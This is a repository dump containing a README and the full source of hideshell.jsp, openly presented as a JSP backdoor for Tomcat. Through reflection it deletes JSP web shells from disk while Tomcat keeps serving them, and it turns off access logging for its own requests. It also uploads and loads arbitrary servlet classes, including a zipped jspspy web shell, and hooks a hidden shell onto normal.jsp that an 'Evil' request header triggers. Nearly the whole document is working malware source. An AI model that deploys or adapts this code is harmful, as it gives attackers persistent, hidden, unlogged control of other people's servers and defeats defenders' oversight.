├── README.md └── hideshell.jsp /README.md: -------------------------------------------------------------------------------- 1 | # HideShell 2 | A JSP backdoor that enables under Tomcat hiding arbitrary JSP files, in addition to their access logs. JSPs hidden by hideshell.jsp remain accessbile **until the next reboot of Tomcat instance**. 3 | 4 | ## Environments tested 5 | - Tomcat 7 6 | - Tomcat 8 7 | 8 | ## How it works? 9 | 10 | - [Tomcat 源代码调试笔记 - 看不见的 Shell](https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw) 11 | 12 | - [Tomcat 源代码调试 - 看不见的 Shell 第二式之隐藏任意 Jsp 文件](https://mp.weixin.qq.com/s/1ZiLD396088TxiW_dUOFsQ) 13 | 14 | - [Tomcat 源代码调试 - 看不见的 Shell 第二式增强之无痕](https://mp.weixin.qq.com/s/7b3Fyu_K6ZRgKlp6RkdYoA) 15 | 16 | ## TL;DR 17 | Hideshell.jsp hides JSP files by simply deleting them, while persuading Tomcat into believing that files are still there, thus serving them as usual. 18 | -------------------------------------------------------------------------------- /hideshell.jsp: -------------------------------------------------------------------------------- 1 | <%@page import="java.awt.SystemColor"%> 2 | <%@page import="org.apache.jasper.JspCompilationContext"%> 3 | <%@page import="java.io.*"%> 4 | <%@page import="java.util.*"%> 5 | <%@page import="java.util.zip.*"%> 6 | <%@ page import="javax.servlet.jsp.*"%> 7 | <%@page import="org.apache.jasper.EmbeddedServletOptions"%> 8 | <%@page import="org.apache.jasper.compiler.JspRuntimeContext"%> 9 | <%@page import="org.apache.jasper.servlet.JspServletWrapper" %> 10 | <%@page import="org.apache.catalina.valves.AccessLogValve"%> 11 | <%@page import="org.apache.catalina.AccessLog"%> 12 | <%@page import="org.apache.catalina.core.AccessLogAdapter"%> 13 | <%@page import="org.apache.catalina.core.StandardHost"%> 14 | <%@ page import="org.apache.catalina.core.ApplicationContext"%> 15 | <%@ page import="org.apache.catalina.core.StandardContext"%> 16 | <%@ page language="java" contentType="text/html; charset=UTF-8" 17 | pageEncoding="UTF-8"%> 18 | <%@ page import="java.lang.reflect.*" %><%! 19 | private static class AttachingWrapper extends JspServletWrapper { 20 | private JspServletWrapper original = null; 21 | private JspServletWrapper evil = null; 22 | 23 | 24 | public AttachingWrapper(JspServletWrapper original, JspServletWrapper evil, ServletConfig config, org.apache.jasper.Options options, 25 | String jspUri, JspRuntimeContext rctxt) { 26 | super(config, options, jspUri, rctxt); 27 | 28 | this.original = original; 29 | this.evil = evil; 30 | } 31 | 32 | public void service(HttpServletRequest request, 33 | HttpServletResponse response, 34 | boolean precompile) 35 | throws ServletException, IOException, FileNotFoundException { 36 | if (request.getHeader("Evil") != null) { 37 | try { 38 | nolog(request); 39 | } catch (Exception ex){} 40 | this.evil.service(request, response, precompile); 41 | } else { 42 | this.original.service(request, response, precompile); 43 | } 44 | } 45 | } 46 | private static class SpyClassLoader extends ClassLoader{ 47 | private byte[] zipdata = null; 48 | private JspWriter out = null; 49 | 50 | private Map cls = new HashMap(); 51 | public SpyClassLoader(ClassLoader parent, byte[] zipdata, JspWriter out) throws Exception { 52 | super(parent); 53 | this.out = out; 54 | this.zipdata = zipdata; 55 | this.processZip(); 56 | } 57 | 58 | private void processZip() throws Exception { 59 | if (this.zipdata != null) { 60 | ZipInputStream stream = null; 61 | stream = new ZipInputStream(new ByteArrayInputStream(this.zipdata)); 62 | byte[] buffer = new byte[2048]; 63 | ZipEntry entry; 64 | while((entry = stream.getNextEntry())!=null) 65 | { 66 | 67 | ByteArrayOutputStream output = null; 68 | try 69 | { 70 | output = new ByteArrayOutputStream(); 71 | int len = 0; 72 | while ((len = stream.read(buffer)) > 0) 73 | { 74 | output.write(buffer, 0, len); 75 | } 76 | } 77 | finally 78 | { 79 | if(output!=null) output.close(); 80 | //this.out.println(entry.getName()); 81 | this.cls.put("org.apache.jsp."+entry.getName(), output.toByteArray()); 82 | } 83 | } 84 | stream.close(); 85 | } 86 | } 87 | 88 | protected Class findClass(String name) 89 | throws ClassNotFoundException { 90 | 91 | byte[] clsdata = this.cls.get(name+".class"); 92 | if (clsdata != null) { 93 | return super.defineClass(name, clsdata, 0, clsdata.length); 94 | } 95 | return null; 96 | } 97 | 98 | 99 | public Class defineClass(String name,byte[] b) { 100 | return super.defineClass(name,b,0,b.length); 101 | } 102 | } 103 | private static class UploadBean { 104 | private ServletInputStream sis = null; 105 | private OutputStream targetOutput = null; 106 | private byte[] b = new byte[1024]; 107 | private String fileName = null; 108 | 109 | public String getFileName() { 110 | return this.fileName; 111 | } 112 | 113 | public void setTargetOutput(OutputStream stream) { 114 | this.targetOutput = stream; 115 | } 116 | public UploadBean(OutputStream stream) { 117 | this.setTargetOutput(stream); 118 | } 119 | 120 | public void parseRequest(HttpServletRequest request) throws IOException { 121 | sis = request.getInputStream(); 122 | int a = 0; 123 | int k = 0; 124 | String s = ""; 125 | while ((a = sis.readLine(b,0,b.length))!= -1) { 126 | s = new String(b, 0, a,"UTF-8"); 127 | if ((k = s.indexOf("filename=\""))!= -1) { 128 | s = s.substring(k + 10); 129 | k = s.indexOf("\""); 130 | s = s.substring(0, k); 131 | File tF = new File(s); 132 | if (tF.isAbsolute()) { 133 | fileName = tF.getName(); 134 | } else { 135 | fileName = s; 136 | } 137 | k = s.lastIndexOf("."); 138 | // suffix = s.substring(k + 1); 139 | upload(); 140 | } 141 | } 142 | } 143 | private void upload() throws IOException{ 144 | try { 145 | OutputStream out = this.targetOutput; 146 | 147 | int a = 0; 148 | int k = 0; 149 | String s = ""; 150 | while ((a = sis.readLine(b,0,b.length))!=-1) { 151 | s = new String(b, 0, a); 152 | if ((k = s.indexOf("Content-Type:"))!=-1) { 153 | break; 154 | } 155 | } 156 | sis.readLine(b,0,b.length); 157 | while ((a = sis.readLine(b,0,b.length)) != -1) { 158 | s = new String(b, 0, a); 159 | if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { 160 | break; 161 | } 162 | out.write(b, 0, a); 163 | } 164 | out.close(); 165 | //if (out instanceof FileOutputStream) 166 | //out.close(); 167 | } catch (IOException ioe) { 168 | throw ioe; 169 | } 170 | } 171 | } 172 | 173 | private static final Map hiddenWrappers = new HashMap(); 174 | 175 | public static String makeWrapperUri(HttpServletRequest request) { 176 | String uri = request.getServletPath(); 177 | String pathinfo = request.getPathInfo(); 178 | if (pathinfo != null) { 179 | uri += pathinfo; 180 | } 181 | return uri; 182 | } 183 | public static boolean accessingSelf(HttpServletRequest request, JspRuntimeContext jctxt) { 184 | JspServletWrapper wrapper = getHideShellWrapper(request, jctxt); 185 | String requestUri = makeWrapperUri(request); 186 | if (!wrapper.getJspUri().equals(requestUri)) { 187 | return false; 188 | } 189 | return true; 190 | } 191 | public static void includeHiddenShell(HttpServletRequest request, HttpServletResponse response) throws Exception { 192 | JspServletWrapper wrapper = hiddenWrappers.get(makeWrapperUri(request)); 193 | if (wrapper != null) { 194 | wrapper.service(request, response, false); 195 | } else { 196 | response.sendError(404, "the hidden JspServletWrapper doesn't exist, this should not happen"); 197 | } 198 | } 199 | public static JspServletWrapper getHideShellWrapper(HttpServletRequest request, JspRuntimeContext jctxt) { 200 | String wrapperUri = makeWrapperUri(request); 201 | JspServletWrapper self = jctxt.getWrapper(wrapperUri); 202 | return self; 203 | } 204 | public static void hideWrapper(JspServletWrapper wrapper) throws Exception { 205 | wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000); 206 | JspCompilationContext ctxt = wrapper.getJspEngineContext(); 207 | EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions(); 208 | if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) { 209 | setFieldValue(jspServletOptions, "modificationTestInterval", 1); 210 | } 211 | } 212 | public static Object invoke(Object obj, String methodName, Class[] paramTypes, Object[] args) throws Exception { 213 | Method m = obj.getClass().getDeclaredMethod(methodName, paramTypes); 214 | m.setAccessible(true); 215 | return m.invoke(obj, args); 216 | } 217 | public static Object getFieldValue(Object obj, String fieldName) throws Exception { 218 | Field f = obj.getClass().getDeclaredField(fieldName); 219 | f.setAccessible(true); 220 | return f.get(obj); 221 | } 222 | public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { 223 | Field f = obj.getClass().getDeclaredField(fieldName); 224 | f.setAccessible(true); 225 | if (Modifier.isFinal(f.getModifiers())) { 226 | //reset final field 227 | Field modifiersField = Field.class.getDeclaredField("modifiers"); 228 | modifiersField.setAccessible(true); 229 | modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); 230 | } 231 | f.set(obj, value); 232 | } 233 | public static String makeHiddenName(String wrapperName) { 234 | int lastIndex = wrapperName.lastIndexOf('/'); 235 | return wrapperName.substring(0, lastIndex + 1) + "hidden-" + wrapperName.substring(lastIndex + 1); 236 | } 237 | public static boolean isHiddenJsp(ServletRequest request, String key, JspServletWrapper wrapper) { 238 | JspCompilationContext ctxt = wrapper.getJspEngineContext(); 239 | if (!new File(request.getServletContext().getRealPath(ctxt.getJspFile())).exists() || !key.equals(wrapper.getJspUri())) { 240 | return true; 241 | } 242 | return false; 243 | } 244 | public static void nolog(HttpServletRequest request) throws Exception { 245 | ServletContext ctx = request.getSession().getServletContext(); 246 | ApplicationContext appCtx = (ApplicationContext)getFieldValue(ctx, "context"); 247 | StandardContext standardCtx = (StandardContext)getFieldValue(appCtx, "context"); 248 | 249 | StandardHost host = (StandardHost)standardCtx.getParent(); 250 | AccessLogAdapter accessLog = (AccessLogAdapter)host.getAccessLog(); 251 | 252 | AccessLog[] logs = (AccessLog[])getFieldValue(accessLog, "logs"); 253 | for(AccessLog log:logs) { 254 | AccessLogValve logV = (AccessLogValve)log; 255 | String condition = logV.getCondition() == null ? "n1nty_nolog" : logV.getCondition(); 256 | logV.setCondition(condition); 257 | request.setAttribute(condition, "n1nty_nolog"); 258 | } 259 | } 260 | %><% 261 | nolog(request); 262 | 263 | Object r = getFieldValue(request, "request"); 264 | Object filterChain = getFieldValue(r, "filterChain"); 265 | Object servlet = getFieldValue(filterChain, "servlet"); 266 | JspRuntimeContext jctxt = (JspRuntimeContext)getFieldValue(servlet, "rctxt"); 267 | 268 | if (!accessingSelf(request, jctxt)) { 269 | includeHiddenShell(request, response); 270 | return; 271 | } 272 | 273 | %> 274 | 275 | 276 | 277 | 278 | Hideshell.jsp by n1nty 279 | 280 | 281 | 282 |
    283 | <% 284 | String action = request.getParameter("action"); 285 | 286 | if ("upload".equals(action)) { 287 | 288 | ByteArrayOutputStream byteout = new ByteArrayOutputStream(); 289 | UploadBean upload = new UploadBean(byteout); 290 | upload.parseRequest(request); 291 | 292 | boolean zip = upload.getFileName().endsWith(".zip"); 293 | String path = !zip ? "/test.jsp" : "/jspspy2010.jsp"; 294 | String clsName = !zip ? "org.apache.jsp.test_jsp" : "org.apache.jsp.jspspy2010_jsp"; 295 | 296 | javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config"); 297 | org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options"); 298 | JspServletWrapper wrapper = new JspServletWrapper(servletConfig, options, path, jctxt); 299 | 300 | hideWrapper(wrapper); 301 | wrapper.setReload(false); 302 | 303 | 304 | byte[] data = byteout.toByteArray(); 305 | byte[] bytes = new byte[data.length -2]; 306 | System.arraycopy(data, 0, bytes, 0, data.length -2); 307 | 308 | Class cls = null; 309 | if (zip) { 310 | cls = new SpyClassLoader(this.getClass().getClassLoader(), bytes, out).loadClass(clsName); 311 | } else { 312 | cls = new SpyClassLoader(this.getClass().getClassLoader(), null, out).defineClass(clsName, bytes); 313 | } 314 | if (cls != null) { 315 | Servlet s = (Servlet)cls.newInstance(); 316 | s.init(servletConfig); 317 | setFieldValue(wrapper, "theServlet", s); 318 | jctxt.addWrapper(path, getHideShellWrapper(request, jctxt)); 319 | hiddenWrappers.put(path, wrapper); 320 | } else { 321 | out.println("no class"); 322 | } 323 | 324 | 325 | } 326 | 327 | if (action == null || action.equals("list") || action.equals("upload")) { 328 | Map jsps = (Map)getFieldValue(jctxt, "jsps"); 329 | for (Map.Entry entry : jsps.entrySet()) { 330 | JspServletWrapper wrapper = entry.getValue(); 331 | %> 332 |
  • 333 | <% 334 | if (isHiddenJsp(request, entry.getKey(), wrapper)) { 335 | %> 336 | <%=entry.getKey() %> possible hidden file, Delete 337 | Attach to normal.jsp 338 | <% 339 | } else { 340 | %> 341 | Hide <%=entry.getKey() %> 342 | Attach to normal.jsp 343 | <% 344 | } 345 | %> 346 |
  • 347 | <% 348 | } 349 | } else if (action.equals("hide")) { 350 | String wrapperName = request.getParameter("wrapperName"); 351 | String hiddenWrapperName = makeHiddenName(wrapperName); 352 | if (jctxt.getWrapper(hiddenWrapperName) == null) { 353 | JspServletWrapper wrapper = jctxt.getWrapper(wrapperName); 354 | 355 | hideWrapper(wrapper); 356 | /* 357 | wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000); 358 | JspCompilationContext ctxt = wrapper.getJspEngineContext(); 359 | EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions(); 360 | if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) { 361 | setFieldValue(jspServletOptions, "modificationTestInterval", 1); 362 | }*/ 363 | 364 | wrapper.getJspEngineContext().getCompiler().removeGeneratedFiles(); 365 | 366 | if (wrapper == getHideShellWrapper(request, jctxt)) { 367 | // is hiding hideshell.jsp itself 368 | setFieldValue(wrapper, "jspUri", hiddenWrapperName); 369 | jctxt.addWrapper(hiddenWrapperName, wrapper); 370 | } else { 371 | jctxt.addWrapper(hiddenWrapperName, getHideShellWrapper(request, jctxt)); 372 | hiddenWrappers.put(hiddenWrapperName, wrapper); 373 | } 374 | 375 | jctxt.removeWrapper(wrapperName); 376 | 377 | JspCompilationContext ctxt = wrapper.getJspEngineContext(); 378 | new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete(); 379 | } 380 | out.println("done"); 381 | } else if (action.equals("delete")) { 382 | String wrapperName = request.getParameter("wrapperName"); 383 | jctxt.removeWrapper(wrapperName); 384 | hiddenWrappers.remove(wrapperName); 385 | out.println("done"); 386 | 387 | } else if (action.equals("attach")) { 388 | String wrapperName = request.getParameter("wrapperName"); 389 | String attachto = "/normal.jsp"; 390 | 391 | JspServletWrapper original = jctxt.getWrapper(attachto); 392 | 393 | if (original == null) { 394 | out.println("access /normal.jsp first"); 395 | return; 396 | } 397 | JspServletWrapper evil = jctxt.getWrapper(wrapperName); 398 | 399 | javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config"); 400 | org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options"); 401 | 402 | AttachingWrapper attachingWrapper = new AttachingWrapper(original, evil, servletConfig, options, attachto, jctxt); 403 | hideWrapper(attachingWrapper); 404 | attachingWrapper.setReload(false); 405 | 406 | hideWrapper(evil); 407 | 408 | jctxt.removeWrapper(wrapperName); 409 | jctxt.removeWrapper(attachto); 410 | 411 | jctxt.addWrapper(attachto, attachingWrapper); 412 | 413 | 414 | JspCompilationContext ctxt = evil.getJspEngineContext(); 415 | new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete(); 416 | // jctxt.addWrapper(attachto, getHideShellWrapper(request, jctxt)); 417 | // hiddenWrappers.put(attachto, attachingWrapper); 418 | } 419 | 420 | 421 | %> 422 |
423 | 424 |
425 | 426 | 427 |
428 | 429 | 430 | --------------------------------------------------------------------------------